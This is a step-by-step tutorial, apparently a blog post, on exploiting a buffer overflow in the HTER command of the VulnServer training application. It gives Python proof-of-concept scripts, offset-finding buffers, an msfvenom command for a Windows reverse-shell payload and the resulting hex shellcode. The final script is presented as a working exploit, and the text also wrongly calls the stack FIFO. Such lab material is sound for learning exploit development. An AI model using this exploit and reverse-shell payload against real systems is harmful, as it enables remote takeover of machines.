HTER command of VulnServer has a vulnerability. Let us try to create an exploit for this vulnerability.

 

The PoC python script:

poc.py

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.135"
port=9999

buffer = "HTER " + "A" * 2106

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

The script sends A characters. However the EIP is overwritten with 0xAAAAAAAA, instead of 0x41414141.

vulnserver21

It seems our buffer is somehow converted into hex byte array. Let us make a test, send a byte which contains 0123456789abcdef twice and check it in the memory. The buffer:

buffer = “HTER ” + “0123456789abcdef0123456789abcdef” + “A” * 2106

The result in memory:

vulnserver22

Our hypothesis seems to correct, however the first “0” character was removed. Let us change “HTER” to “HTER 0“. Now the shellcode can be appended right after this string.

 

1. Identify the position of EIP

We cannot use the Metasploit module, because the buffer is converted and it would not work. We have to use a different method. We can send a crafted buffer which contains only 0-9 and a-f characters and check the EIP. I use the same PoC script and only show you how the buffer is created.

 

The first iteration:

buffer = “HTER 0”

buffer += “1” * 200
buffer += “2” * 200
buffer += “3” * 200
buffer += “4” * 200
buffer += “5” * 200
buffer += “6” * 200
buffer += “7” * 200
buffer += “8” * 200
buffer += “9” * 200
buffer += “a” * 200
buffer += “b” * 200
buffer += “c” * 200

The value of EIP: BBBBBBBB. Great! The position of RET value is after 2000 byte.

 

The second iteration:

buffer = “HTER 0” + “A” * 2000

buffer += “1” * 20
buffer += “2” * 20
buffer += “3” * 20
buffer += “4” * 20
buffer += “5” * 20
buffer += “6” * 20
buffer += “7” * 20
buffer += “8” * 20
buffer += “9” * 20
buffer += “a” * 20

The value of EIP: 33333333. Great! The position of RET value is after 2040 byte.

 

The third iteration:

buffer = “HTER 0” + “A” * 2040

buffer += “1” * 2
buffer += “2” * 2
buffer += “3” * 2
buffer += “4” * 2
buffer += “5” * 2
buffer += “6” * 2
buffer += “7” * 2
buffer += “8” * 2
buffer += “9” * 2
buffer += “a” * 2

The value of EIP: 44332211. Great! We found the position of the bytes which will be written into EIP.

 

Test it with the following script:

5.py

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.135"
port=9999

buffer = "HTER 0" + "A" * 2040 + "42424242" + "A" * (4106 - 1 - 2040 - 8)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

The value of EIP: 42424242. It works fine! We can control the EIP register.

 

2. Find value for EIP

The EAX register points to the beginning of our buffer, which starts after the “HTER 0” string. Find a JMP EAX value and update the script. Do not forget, that the address should be in reverse order. Place a breakpoint to the JMP EAX address and check whether the breakpoint is hit.

It works fine again. The final step is to add for example a reverse shell payload to the exploit.

 

3. Add shellcode to the exploit

Generate a shellcode with venom and add it to the script.

msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.2.130 LPORT=4444 > shellcode.bin

Hex values can be displayed with hexdump:

hexdump -C shellcode.bin

vulnserver23

 

This will however not trigger the vulnerability. What is the problem? The shellcode must not contain double zero string (“00”)! Let us generate the shellcode again, but add -b ‘\x00’ to the parameter list of msfvenom.

msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.2.130 LPORT=4444 -b ‘\x00’ > shellcode.bin

Msfvenom uses shikata_ga_nai encoder automaticaly, because we specified bad characters with the -b option. The final shellcode size is 351 byte. Add it to the script and test it.

6.py

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.135"
port=9999

shellcode = (
"bec9d8bc2cd9eed97424f45f2bc9b152"
"83c70431770e03bed65ed9bc0f1c223c"
"d041aad9e141c8aa52729afe5ef9ceea"
"d58fc61d5d2531105e160133dc655693"
"dda5abd21adb4686f397f53677edc5bd"
"cbe34d229b027ff5975c5ff474d5d6ee"
"99d0a1856aae334fa34f9fae0ba2e1f7"
"ac5d9401cfe0afd6ad3e25cc16b49d28"
"a6197bbba4d60fe3a8e9dc98d562e34e"
"5c30c04a04e269cbe045950b4b393340"
"662e4e0bef8363b3ef8bf4c0dd14af4e"
"6edc698991f7ce056cf82e0cabac7e26"
"1acd14b6a318bae60bf37b56eca313bc"
"e39c04bf29b5af3aba7a8746b813da46"
"adbf53a0a72f327b50c91ff7c1168a72"
"c19d39838c553797799602c52ca9b861"
"b2382771bd20f026ea9709a20681a3d0"
"da578b5001a41259c490304910187d3d"
"cc4f2bebaa399d4565957701f0d54757"
"fd333eb74cea07c8617a80b19f1a6f68"
"242a3a300da3e3a10fae131c53d79794"
"2c2c87dd29680f0e40e1fa30f7022f"
)

# 77DB0BCD from ntdll.dll

buffer = "HTER 0" + shellcode + "A" * (2040 - len(shellcode)) + "CD0BDB77" + "A" * (4106 - 1 - 2040 - 8)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

 

This will trigger the vulnerability. Our shellcode starts to execute, but later it causes an exception. Why?

Check the value of EIP and ESP. EIP is the Instruction Pointer. The CPU executes the instruction, which is on this memory address and increments its value, thus moves to the next instruction. ESP is the Stack Pointer. Stack is a FIFO (First In First Out) and when a value is pushed onto the stack, the value of the ESP is decremented. EIP goes from low to high memory, ESP goes from high to low memory (if new values is being pushed onto the stack.)

If EIP is bigger, than ESP, there is no problem as they are moving away from each other. If EIP is lower than ESP, a problem can raise as they go toward each other and the the program code might change if ESP reaches EIP.

What is the solution? We have to set the ESP above the EIP. When we jump to the beginning of the shellcode, we can push the value of EAX, then pop this value into ESP. A couple NOP operation might also be necessary.

vulnserver24

 

The updated shellcode:

7.py

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.135"
port=9999

shellcode = (
"bec9d8bc2cd9eed97424f45f2bc9b152"
"83c70431770e03bed65ed9bc0f1c223c"
"d041aad9e141c8aa52729afe5ef9ceea"
"d58fc61d5d2531105e160133dc655693"
"dda5abd21adb4686f397f53677edc5bd"
"cbe34d229b027ff5975c5ff474d5d6ee"
"99d0a1856aae334fa34f9fae0ba2e1f7"
"ac5d9401cfe0afd6ad3e25cc16b49d28"
"a6197bbba4d60fe3a8e9dc98d562e34e"
"5c30c04a04e269cbe045950b4b393340"
"662e4e0bef8363b3ef8bf4c0dd14af4e"
"6edc698991f7ce056cf82e0cabac7e26"
"1acd14b6a318bae60bf37b56eca313bc"
"e39c04bf29b5af3aba7a8746b813da46"
"adbf53a0a72f327b50c91ff7c1168a72"
"c19d39838c553797799602c52ca9b861"
"b2382771bd20f026ea9709a20681a3d0"
"da578b5001a41259c490304910187d3d"
"cc4f2bebaa399d4565957701f0d54757"
"fd333eb74cea07c8617a80b19f1a6f68"
"242a3a300da3e3a10fae131c53d79794"
"2c2c87dd29680f0e40e1fa30f7022f"
)

nops = "90" * 32

# 77DB0BCD from ntdll.dll

buffer = "HTER 0505c" + nops + shellcode + "A" * (2040 - 4 - len(nops) - len(shellcode)) + "CD0BDB77" + "A" * (4106 - 1 - 2040 - 8)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

This exploit works fine.